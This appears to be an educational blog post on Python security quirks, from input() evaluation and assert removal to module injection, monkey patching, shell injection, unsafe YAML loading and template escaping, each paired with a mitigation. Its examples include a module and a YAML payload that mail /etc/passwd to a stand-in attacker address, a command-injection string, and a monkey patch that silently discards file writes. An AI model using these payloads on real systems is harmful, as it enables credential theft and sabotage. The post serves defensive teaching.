Being easy to pick up and progress quickly towards developing larger and more complicated applications, Python is becoming increasingly ubiquitous in computing environments. Though apparent language clarity and friendliness could lull the vigilance of software engineers and system administrators -- luring them into coding mistakes that may have serious security implications. In this article, which primarily targets people who are new to Python, a handful of security-related quirks are looked at; experienced developers may well be aware of the peculiarities that follow.

Input function

In a large collection of Python 2 built-in functions, input is a total security disaster. Once called, whatever is read from stdin gets immediately evaluated as Python code:

$ python2 >>> input() dir() ['__builtins__', '__doc__', '__name__', '__package__'] >>> input() __import__('sys').exit() $

Clearly, the input function must never ever be used unless data on a script's stdin is fully trusted. Python 2 documentation suggests raw_input as a safe alternative. In Python 3 the input function becomes equivalent to raw_input , thus fixing this weakness once and forever.

Assert statement

There is a coding idiom of using assert statements for catching next to impossible conditions in a Python application.

def verify_credentials(username, password): assert username and password, 'Credentials not supplied by caller' ... authenticate possibly null user with null password ...

However, Python does not produce any instructions for assert statements when compiling source code into optimized byte code (e.g. python -O). That silently removes whatever protection against malformed data that the programmer wired into their code leaving the application open to attacks.

The root cause of this weakness is that the assert mechanism is designed purely for testing purposes, as is done in C++. Programmers must use other means for ensuring data consistency.

Reusable integers

Everything is an object in Python. Every object has a unique identity which can be read by the id function. To figure out if two variables or attributes are pointing to the same object the is operator can be used. Integers are objects so the is operation is indeed defined for them:

>>> 999+1 is 1000 False

If the outcome of the above operation looks surprising, keep in mind that the is operator works with identities of two objects -- it does not compare their numerical, or any other, values. However:

>>> 1+1 is 2 True

The explanation for this behavior is that Python maintains a pool of objects representing the first few hundred integers and reuses them to save on memory and object creation. To make it even more confusing, the definition of what "small integer" is differs across Python versions.

A mitigation here is to never use the is operator for value comparison. The is operator is designed to deal exclusively with object identities.

Floats comparison

Working with floating point numbers may get complicated due to inherently limited precision and differences stemming from decimal versus binary fraction representation. One common cause of confusion is that float comparison may sometimes yield unexpected result. Here's a famous example:

>>> 2.2 * 3.0 == 3.3 * 2.0 False

The cause of the above phenomena is indeed a rounding error:

>>> (2.2 * 3.0).hex() '0x1.a666666666667p+2' >>> (3.3 * 2.0).hex() '0x1.a666666666666p+2'

Another interesting observation is related to the Python float type which supports the notion of infinity. One could reason that everything is smaller than infinity:

>>> 10**1000000 > float('infinity') False

However, up to Python 3, a type object beats the infinity:

>>> float > float('infinity') True

The best mitigation is to stick to integer arithmetic whenever possible. The next best approach would be to use the decimal stdlib module which attempts to shield users from annoying details and dangerous flaws.

Generally, when important decisions are made based on the outcome of arithmetic operations, care must be taken not to fall victim to a rounding error. See the issued and limitations chapter in Python documentation.

Private attributes

Python does not support object attributes hiding. But there is a workaround based on the feature of double underscored attributes mangling. Although changes to attribute names occur only to code, attributes names hardcoded into string constants remain unmodified. This may lead to confusing behavior when a double underscored attribute visibly "hides" from getattr() / hasattr() functions.

>>> class X(object): ... def __init__(self): ... self.__private = 1 ... def get_private(self): ... return self.__private ... def has_private(self): ... return hasattr(self, '__private') ... >>> x = X() >>> >>> x.has_private() False >>> x.get_private() 1

For this privacy feature to work, attribute mangling is not performed on attributes out of class definition. That effectively "splits" any given double underscored attributive onto two depending on from where it is being referenced:

>>> class X(object): ... def __init__(self): ... self.__private = 1 >>> >>> x = X() >>> >>> x.__private Traceback ... AttributeError: 'X' object has no attribute '__private' >>> >>> x.__private = 2 >>> x.__private 2 >>> hasattr(x, '__private') True

These quirks could turn into a security weakness if a programmer relies on double underscored attributes for making important decisions in their code without paying attention to the asymmetrical behavior of private attributes.

Module injection

Python modules importing system is powerful and complicated. Modules and packages can be imported by file or directory name found in search path as defined by sys.path list. Search path initialization is an intricate process which is also dependent on Python version, platform and local configuration. To mount successful attack on a Python application, an attacker needs to find a way to smuggle a malicious Python module into a directory or importable package file which Python would consider when trying to import a module.

The mitigation is to maintain secure access permissions on all directories and package files in search path to ensure unprivileged users do not have write access to them. Keep in mind that the directory where the initial script invoking Python interpreter resides is automatically inserted into the search path.

Running script like this reveals actual search path:

$ cat myapp.py #!/usr/bin/python import sys import pprint pprint.pprint(sys.path)

On Windows platform, instead of script location, current working directory of the Python process is injected into the search path. On UNIX platforms, current working directory is automatically inserted into sys.path whenever program code is read from stdin or command line ("-" or "-c" or "-m" options):

$ echo "import sys, pprint; pprint.pprint(sys.path)" | python - ['', '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg', '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg', ...] $ python -c 'import sys, pprint; pprint.pprint(sys.path)' ['', '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg', '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg', ...] $ $ cd /tmp $ python -m myapp ['', '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg', '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg', ...]

To mitigate the risk of module injection from current working directory explicitly changing directory to a safe one is recommended prior to running Python on Windows or passing code through command line.

Another possible source for the search path is the contents of the $PYTHONPATH environment variable. An easy mitigation against sys.path population from process environment is the -E option to Python interpreter which makes it ignoring $PYTHONPATH variable.

Code execution on import

It may not look obvious that the import statement actually leads to execution of the code in the module being imported. That is why even importing mistrustful module or package is risky. Importing simple module like this may lead to unpleasant consequences:

$ cat malicious.py import os import sys os.system('cat /etc/passwd | mail attacker@blackhat.com') del sys.modules['malicious'] # pretend it's not imported $ python >>> import malicious >>> dir(malicious) Traceback (most recent call last): NameError: name 'malicious' is not defined

Combined with sys.path entry injection attack, it may pave the way to further system exploitation.

Monkey patching

A process of changing Python objects attributes at run-time is known as monkey patching. Being a dynamic language, Python fully supports run-time program introspection and code mutation. Once a malicious module gets imported one way or another, any existing mutable object could be insensibly monkey patched without programmer's consent. Consider this:

$ cat nowrite.py import builtins def malicious_open(*args, **kwargs): if len(args) > 1 and args[1] == 'w': args = ('/dev/null',) + args[1:] return original_open(*args, **kwargs) original_open, builtins.open = builtins.open, malicious_open

If the code above gets executed by Python interpreter, everything written into files won't be stored on the filesystem:

>>> import nowrite >>> open('data.txt', 'w').write('data to store') 5 >>> open('data.txt', 'r') Traceback (most recent call last): ... FileNotFoundError: [Errno 2] No such file or directory: 'data.txt'

Attacker could leverage Python garbage collector ( gc.get_objects() ) to get hold of all objects in existence and hack any of them.

In Python 2 built-in objects can be accesses via the magic __builtins__ module. One of the known tricks, exploiting __builtins__ mutability, that might bring the world to its end is:

>>> __builtins__.False, __builtins__.True = True, False >>> True False >>> int(True) 0

In Python 3 assignments to True and False won't work so they can't be manipulated that way.

Functions are first-class objects in Python, they maintain references to many properties of a function. In particular, executable byte code is referenced by the __code__ attribute which, of course, can be modified:

>>> import shutil >>> >>> shutil.copy <function copy at 0x7f30c0c66560> >>> shutil.copy.__code__ = (lambda src, dst: dst).__code__ >>> >>> shutil.copy('my_file.txt', '/tmp') '/tmp' >>> shutil.copy <function copy at 0x7f30c0c66560> >>>

Once the above monkey patch is applied, despite shutil.copy function still looking sane, it silently stopped working due to the no-op lambda function code set to it.

Type of Python object is determined by the __class__ attribute. Evil attacker could hopelessly mess up things by resorting to changing type of live objects:

>>> class X(object): pass ... >>> class Y(object): pass ... >>> x_obj = X() >>> x_obj <__main__.X object at 0x7f62dbe5e010> >>> isinstance(x_obj, X) True >>> x_obj.__class__ = Y >>> x_obj <__main__.Y object at 0x7f62dbe5d350> >>> isinstance(x_obj, X) False >>> isinstance(x_obj, Y) True >>>

The only mitigation against malicious monkey patching is to ensure the authenticity and integrity of the Python modules being imported.

Shell injection via subprocess

Being known as a glue language, it is quite common for a Python script to delegate system administration tasks to other programs by asking the operating system to execute them, possibly providing additional parameters. The subprocess module offers easy to use and quite high-level service for such tasks.

>>> from subprocess import call >>> >>> unvalidated_input = '/bin/true' >>> call(unvalidated_input) 0

But there is a catch! To make use of UNIX shell services, like command line parameters expansion, the shell keyword argument to the call function should be turned into True . Then the first argument to call function is passed as-is to the system shell for further parsing and interpretation. Once unvalidated user input reaches the call function (or other functions implemented in the subprocess module), a hole is opened to the underlying system resources.

>>> from subprocess import call >>> >>> unvalidated_input = '/bin/true' >>> unvalidated_input += '; cut -d: -f1 /etc/passwd' >>> call(unvalidated_input, shell=True) root bin daemon adm lp 0

It is obviously much safer not to invoke UNIX shell for external command execution by leaving the shell keyword in its default False state and supplying a vector of command and its parameters to the subprocess functions. In this second invocation form, neither command nor its parameters are interpreted or expanded by shell.

>>> from subprocess import call >>> >>> call(['/bin/ls', '/tmp'])

If the nature of the application dictates the use of UNIX shell services, it is utterly important to sanitize everything that goes to subprocess making sure that no unwanted shell functionality can be exploited by malicious users. In newer Python versions, shell escaping can be done with the standard library's shlex.quote function.

Temporary files

While vulnerabilities based on improper use of temporary files strike many programming languages, they are still surprisingly common in Python scripts so it's probably worth mentioning here.

Vulnerabilities of this kind leverage insecure file system access permissions, possibly involving intermediate steps, ultimately leading to data confidentiality or integrity issues. Detailed description of the problem in general can be found in CWE-377.

Luckily, Python is shipped with the tempfile module in its standard library which offers high-level functions for creating temporary file names "in the most secure manner possible". Beware the flawed tempfile.mktemp implementation which is still present in the library for backward compatibility reasons. The tempfile.mktemp function must never be used! Instead, use tempfile.TemporaryFile , or tempfile.mkstemp if you need the temporary file to persist after it is closed.

Another possibility of accidentally introducing a weakness is through the use of shutil.copyfile function. The problem here is that destination file is created in the most insecure manner possible.

Security-savvy developer may consider first copying the source file into a random temporary file name, then renaming the temporary file to its final name. While this may look like a good plan, it can be rendered insecure by the shutil.move function if it is used for performing the renaming. Trouble is that if the temporary file is created on a file system other than the one where the final file is to reside, shutil.move will fail to move it atomically (via os.rename ) and silently resort to the insecure shutil.copy . A mitigation would be to prefer os.rename over shutil.move as os.rename is guaranteed to fail explicitly on operations across file system boundaries.

Further complications may arise from the inability of shutil.copy to copy all file meta data potentially leaving the created file unprotected.

Not exclusively specific to Python, care must be taken when modifying files on file systems of non-mainstream types, especially remote ones. Data consistency guarantees tend to differ in the area of file access serialization. As an example, NFSv2 does not honour the O_EXCL flag to the open system call, which is crucial for atomic file creation.

Insecure deserialization

Many data serialization techniques exist, among them Pickle is designed specifically to de/serialize Python objects. Its goal is to dump live Python objects into an octet stream for storage or transmission, then reconstruct them back to possibly another instance of Python. The reconstruction step is inherently risky if serialized data is tampered with. The insecurity of Pickle is well recognized and clearly noted in Python documentation.

Being a popular configuration file format, YAML is not necessarily perceived as a powerful serialization protocol capable of tricking a deserializer into executing arbitrary code. What makes it even more dangerous is that the de facto default YAML implementation for Python - PyYAML makes deserialization look very innocent:

>>> import yaml >>> >>> dangerous_input = """ ... some_option: !!python/object/apply:subprocess.call ... args: [cat /etc/passwd | mail attacker@blackhat.com] ... kwds: {shell: true} ... """ >>> yaml.load(dangerous_input) {'some_option': 0}

...while /etc/passwd is being stolen. A suggested fix is to always use yaml.safe_load for handling YAML serialization you can't trust. Still, the current PyYAML default feels somewhat provoking considering other serialization libraries tend to use dump / load function names for similar purposes, but in a safe manner.

Templating engines

Web application authors adopted Python long ago. Over the course of a decade, quite a number of Web frameworks have been developed. Many of them utilize templating engines for generating dynamic web contents from, well, templates and runtime variables. Aside from web applications, templating engines found their way into completely different software such as the Ansible IT automation tool.

When content is being rendered from static templates and runtime variables, there is a risk of user-controlled code injection through runtime variables. A successfully mounted attack against a web application may lead to a cross-site scripting vulnerability. Usual mitigation for server-side template injection is to sanitize the contents of template variables before it interpolates into the final document. The sanitization can be done by denying, stripping off or escaping characters that are special to any given markup or other domain-specific language.

Unfortunately, templating engines do not seem to lean towards tighter security here -- looking at the most popular implementations, neither of them apply escaping mechanism by default, relying on a developer's awareness of the risks.

For example, Jinja2, which is probably one of the most popular tools, renders everything:

>>> from jinja2 import Environment >>> >>> template = Environment().from_string('') >>> template.render(variable='<script>do_evil()</script>') '<script>do_evil()</script>'

...unless one of many possible escaping mechanisms is explicitly engaged by reversing its default settings:

>>> from jinja2 import Environment >>> >>> template = Environment(autoescape=True).from_string('') >>> template.render(variable='<script>do_evil()</script>') '<script>do_evil()</script>'

An additional complication is that, in certain use-cases, programmers do not want to sanitize all template variables, intentionally leaving some of them holding potentially dangerous content intact. Templating engines address that need by introducing "filters" to let programmers explicitly sanitize the contents of individual variables. Jinja2 also offers a possibility of toggling the escaping default on a per-template basis.

It can get even more fragile and complicated if developers choose to escape only a subset of markup language tags letting others legitimately sneaking into the final document.

Conclusion

This blog post is not meant to be a comprehensive list of all potential traps and shortcomings specific to the Python ecosystem. The goal is to raise awareness of security risks that may come into being once one starts coding in Python, hopefully making programming more enjoyable, and our lives more secure.